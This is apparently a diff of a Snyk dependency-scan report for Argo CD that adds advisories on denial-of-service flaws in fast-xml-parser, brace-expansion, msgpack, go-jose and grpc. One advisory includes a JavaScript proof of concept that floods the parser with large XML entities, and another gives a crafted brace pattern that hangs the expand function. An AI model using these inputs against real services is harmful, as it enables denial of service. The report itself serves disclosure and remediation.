</div><!-- .meta-counts -->
|
||||
</div><!-- .layout-container--short -->
|
||||
</header><!-- .project__header -->
|
||||
@@ -935,6 +935,333 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-FASTXMLPARSER-15324289">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">XML Entity Expansion</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Proof of Concept</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd <span class="list-paths__item__arrow">›</span> ui/yarn.lock
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: npm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
fast-xml-parser
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
argo-cd-ui@1.0.0, redoc@2.4.0 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
openapi-sampler@1.6.1
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
fast-xml-parser@4.5.3
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://www.npmjs.org/package/fast-xml-parser">fast-xml-parser</a> is a Validate XML, Parse XML, Build XML without C/C++ based libraries</p>
|
||||
<p>Affected versions of this package are vulnerable to XML Entity Expansion in the <code>replaceEntitiesValue()</code> function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for <a href="https://security.snyk.io/vuln/SNYK-JS-FASTXMLPARSER-15307668">CVE-2026-26278</a>). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - <code>&#NNN;</code> and <code>&#xHH;</code>.</p>
|
||||
<p><strong>Note:</strong> This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.</p>
|
||||
<h2 id="details">Details</h2>
|
||||
<p>Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.</p>
|
||||
<p>Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.</p>
|
||||
<p>One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.</p>
|
||||
<p>When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.</p>
|
||||
<p>Two common types of DoS vulnerabilities:</p>
|
||||
<ul>
|
||||
<li><p>High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, <a href="https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082">commons-fileupload:commons-fileupload</a>.</p>
|
||||
</li>
|
||||
<li><p>Crash - An attacker sending crafted requests that could cause the system to crash. For Example, <a href="https://snyk.io/vuln/npm:ws:20171108">npm <code>ws</code> package</a></p>
|
||||
</li>
|
||||
</ul>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>fast-xml-parser</code> to version 5.5.6 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/NaturalIntelligence/fast-xml-parser/commit/bd26122c838e6a55e7d7ac49b4ccc01a49999a01">GitHub Commit</a></li>
|
||||
<li><a href="https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.5.6">GitHub Release</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-FASTXMLPARSER-15677840">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Improper Validation of Specified Quantity in Input</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Proof of Concept</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd <span class="list-paths__item__arrow">›</span> ui/yarn.lock
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: npm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
fast-xml-parser
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
argo-cd-ui@1.0.0, redoc@2.4.0 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
openapi-sampler@1.6.1
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
fast-xml-parser@4.5.3
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://www.npmjs.org/package/fast-xml-parser">fast-xml-parser</a> is a Validate XML, Parse XML, Build XML without C/C++ based libraries</p>
|
||||
<p>Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the <code>DocTypeReader</code> component when the <code>maxEntityCount</code> or <code>maxEntitySize</code> configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.</p>
|
||||
<p><strong>Note:</strong></p>
|
||||
<p>This is only exploitable if the application is configured with <code>processEntities</code> enabled and either <code>maxEntityCount</code> or <code>maxEntitySize</code> set to 0.</p>
|
||||
<h2 id="poc">PoC</h2>
|
||||
<pre><code class="language-js">const { XMLParser } = require("fast-xml-parser");
|
||||
|
||||
// Developer intends: "no entities allowed at all"
|
||||
const parser = new XMLParser({
|
||||
processEntities: {
|
||||
enabled: true,
|
||||
maxEntityCount: 0, // should mean "zero entities allowed"
|
||||
maxEntitySize: 0 // should mean "zero-length entities only"
|
||||
}
|
||||
});
|
||||
|
||||
// Generate XML with many large entities
|
||||
let entities = "";
|
||||
for (let i = 0; i < 1000; i++) {
|
||||
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
|
||||
}
|
||||
|
||||
const xml = `<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
${entities}
|
||||
]>
|
||||
<foo>&e0;</foo>`;
|
||||
|
||||
// This should throw "Entity count exceeds maximum" but does not
|
||||
try {
|
||||
const result = parser.parse(xml);
|
||||
console.log("VULNERABLE: parsed without error, entities bypassed limits");
|
||||
} catch (e) {
|
||||
console.log("SAFE:", e.message);
|
||||
}
|
||||
|
||||
// Control test: setting maxEntityCount to 1 correctly blocks
|
||||
const safeParser = new XMLParser({
|
||||
processEntities: {
|
||||
enabled: true,
|
||||
maxEntityCount: 1,
|
||||
maxEntitySize: 100
|
||||
}
|
||||
});
|
||||
|
||||
try {
|
||||
safeParser.parse(xml);
|
||||
console.log("ERROR: should have thrown");
|
||||
} catch (e) {
|
||||
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
|
||||
}
|
||||
</code></pre>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>fast-xml-parser</code> to version 5.5.7 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g">GitHub Advisory</a></li>
|
||||
<li><a href="https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-FASTXMLPARSER-15699647">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Infinite loop</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd <span class="list-paths__item__arrow">›</span> ui/yarn.lock
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: npm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
brace-expansion
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
argo-cd-ui@1.0.0, argo-ui@1.0.0 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
argo-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
minimatch@5.1.6
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
brace-expansion@2.0.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
@redocly/openapi-core@1.30.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
minimatch@5.1.6
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
brace-expansion@2.0.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
minimatch@3.1.3
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
brace-expansion@1.1.11
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://github.com/juliangruber/brace-expansion">brace-expansion</a> is a Brace expansion as known from sh/bash</p>
|
||||
<p>Affected versions of this package are vulnerable to Infinite loop through the <code>expand</code> function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as <code>{1..2..0}</code>. This can lead to significant resource consumption and denial of service. </p>
|
||||
<h2 id="workaround">Workaround</h2>
|
||||
<p>This vulnerability can be mitigated by sanitizing strings passed to <code>expand</code> to ensure a step value of <code>0</code> is not used.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>brace-expansion</code> to version 5.0.5 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v">GitHub Advisory</a></li>
|
||||
<li><a href="https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051">GitHub Commit</a></li>
|
||||
<li><a href="https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113">Vulnerable Code</a></li>
|
||||
<li><a href="https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184">Vulnerable Code</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-BRACEEXPANSION-15789759">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Inefficient Algorithmic Complexity</h2>
|
||||
@@ -1345,6 +1672,92 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOLANGORGXNETHTML-15237740">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Improper Validation of Specified Type of Input</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--medium">
|
||||
<span class="label__text">medium severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> go.mod
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
github.com/vmihailenco/msgpack/v5
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
github.com/argoproj/argo-cd/v3@0.0.0, github.com/go-redis/cache/v9@9.0.0 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/go-redis/cache/v9@9.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/vmihailenco/msgpack/v5@5.4.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/r3labs/diff/v3@3.0.2
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/vmihailenco/msgpack/v5@5.4.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the calls plugin when handling websocket messages containing malformed msgpack frames. An attacker can cause the server to consume excessive memory and crash by sending specially crafted websocket requests.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>There is no fixed version for <code>github.com/vmihailenco/msgpack/v5</code>.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/mattermost/msgpack/commit/2f9c67d7e57f">GitHub Commit</a></li>
|
||||
<li><a href="https://mattermost.com/security-updates">Mattermost Security Updates</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMVMIHAILENCOMSGPACKV5-15702238">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">MPL-2.0 license</h2>
|
||||
@@ -1925,6 +2338,159 @@
|
||||
<p><a href="https://snyk.io/vuln/snyk:lic:golang:github.com:gosimple:slug:MPL-2.0">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Improper Handling of Highly Compressed Data (Data Amplification)</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--medium">
|
||||
<span class="label__text">medium severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> go.mod
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
github.com/go-jose/go-jose/v3
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
github.com/argoproj/argo-cd/v3@0.0.0, github.com/oauth2-proxy/mockoidc@#caebfff84d25 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/oauth2-proxy/mockoidc@#caebfff84d25
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/go-jose/go-jose/v3@3.0.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification). An attacker could send a JWE containing compressed data that, when decompressed by <code>Decrypt</code> or <code>DecryptMulti</code>, would use large amounts of memory and CPU.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>github.com/go-jose/go-jose/v3</code> to version 3.0.3 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/go-jose/go-jose/commit/0dd4dd541c665fb292d664f77604ba694726f298">GitHub Commit</a></li>
|
||||
<li><a href="https://github.com/go-jose/go-jose/commit/add6a284ea0f844fd6628cba637be5451fe4b28a">GitHub Commit</a></li>
|
||||
<li><a href="https://github.com/go-jose/go-jose/commit/f4c051a0653d78199a053892f7619ebf96339502">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGOJOSEGOJOSEV3-6419233">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Allocation of Resources Without Limits or Throttling</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--medium">
|
||||
<span class="label__text">medium severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> go.mod
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
github.com/go-jose/go-jose/v3
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
github.com/argoproj/argo-cd/v3@0.0.0, github.com/oauth2-proxy/mockoidc@#caebfff84d25 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/oauth2-proxy/mockoidc@#caebfff84d25
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/go-jose/go-jose/v3@3.0.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the use of <code>strings.Split</code> to split JWT tokens. An attacker can cause memory exhaustion and service disruption by sending numerous malformed tokens with a large number of <code>.</code> characters. </p>
|
||||
<h2 id="workaround">Workaround</h2>
|
||||
<p>This vulnerability can be mitigated by pre-validating that payloads passed to Go JOSE do not contain an excessive number of <code>.</code> characters.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>github.com/go-jose/go-jose/v3</code> to version 3.0.4 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/go-jose/go-jose/commit/99b346cec4e86d102284642c5dcbe9bb0cacfc22">GitHub Commit</a></li>
|
||||
<li><a href="https://github.com/go-jose/go-jose/releases/tag/v4.0.5">GitHub Release</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGOJOSEGOJOSEV3-8754524">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Improper Validation of Integrity Check Value</h2>
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Snyk test report</title>
|
||||
<meta name="description" content="27 known vulnerabilities found in 46 vulnerable dependency paths.">
|
||||
<meta name="description" content="28 known vulnerabilities found in 46 vulnerable dependency paths.">
|
||||
<base target="_blank">
|
||||
<link rel="icon" type="image/png" href="https://res.cloudinary.com/snyk/image/upload/v1468845142/favicon/favicon.png"
|
||||
sizes="194x194">
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:28:16 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:33:29 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following paths:</span>
|
||||
@@ -505,9 +505,9 @@
|
||||
</div>
|
||||
|
||||
<div class="meta-counts">
|
||||
<div class="meta-count"><span>27</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>28</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>46 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>1189</span> <span>dependencies</span></div>
|
||||
<div class="meta-count"><span>1192</span> <span>dependencies</span></div>
|
||||
</div><!-- .meta-counts -->
|
||||
</div><!-- .layout-container--short -->
|
||||
</header><!-- .project__header -->
|
||||
@@ -516,7 +516,7 @@
|
||||
<div class="layout-container" style="padding-top: 35px;">
|
||||
<div class="cards--vuln filter--patch filter--ignore">
|
||||
<div class="card card--vuln disclosure--not-new severity--critical" data-snyk-test="critical">
|
||||
<h2 class="card__title">Out-of-bounds Write</h2>
|
||||
<h2 class="card__title">Incorrect Authorization</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
@@ -532,17 +532,20 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Package Manager: alpine:3.23
|
||||
Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 <span class="list-paths__item__arrow">›</span> /usr/local/bin/gomplate
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
zlib/zlib
|
||||
google.golang.org/grpc
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
docker-image|ghcr.io/dexidp/dex@v2.45.0 and zlib/zlib@1.3.1-r2
|
||||
github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc@v1.77.0
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
@@ -555,33 +558,18 @@
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
docker-image|ghcr.io/dexidp/dex@v2.45.0
|
||||
github.com/hairyhenderson/gomplate/v5@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
zlib/zlib@1.3.1-r2
|
||||
google.golang.org/grpc@v1.77.0
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
docker-image|ghcr.io/dexidp/dex@v2.45.0
|
||||
github.com/dexidp/dex@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
apk-tools/apk-tools@3.0.3-r1
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
zlib/zlib@1.3.1-r2
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
docker-image|ghcr.io/dexidp/dex@v2.45.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
apk-tools/apk-tools@3.0.3-r1
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
apk-tools/libapk@3.0.3-r1
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
zlib/zlib@1.3.1-r2
|
||||
google.golang.org/grpc@v1.79.1
|
||||
|
||||
</span>
|
||||
|
||||
@@ -592,25 +580,21 @@
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="nvd-description">NVD Description</h2>
|
||||
<p><strong><em>Note:</em></strong> <em>Versions mentioned in the description apply only to the upstream <code>zlib</code> package and not the <code>zlib</code> package as distributed by <code>Alpine</code>.</em>
|
||||
<em>See <code>How to fix?</code> for <code>Alpine:3.23</code> relevant fixed versions and status.</em></p>
|
||||
<p>zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.</p>
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 <code>:path</code> pseudo-headers in <code>handleStream()</code>. An attacker can gain unauthorized access to restricted resources by sending requests with malformed <code>:path</code> headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.</p>
|
||||
<h2 id="workaround">Workaround</h2>
|
||||
<p>This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>Alpine:3.23</code> <code>zlib</code> to version 1.3.2-r0 or higher.</p>
|
||||
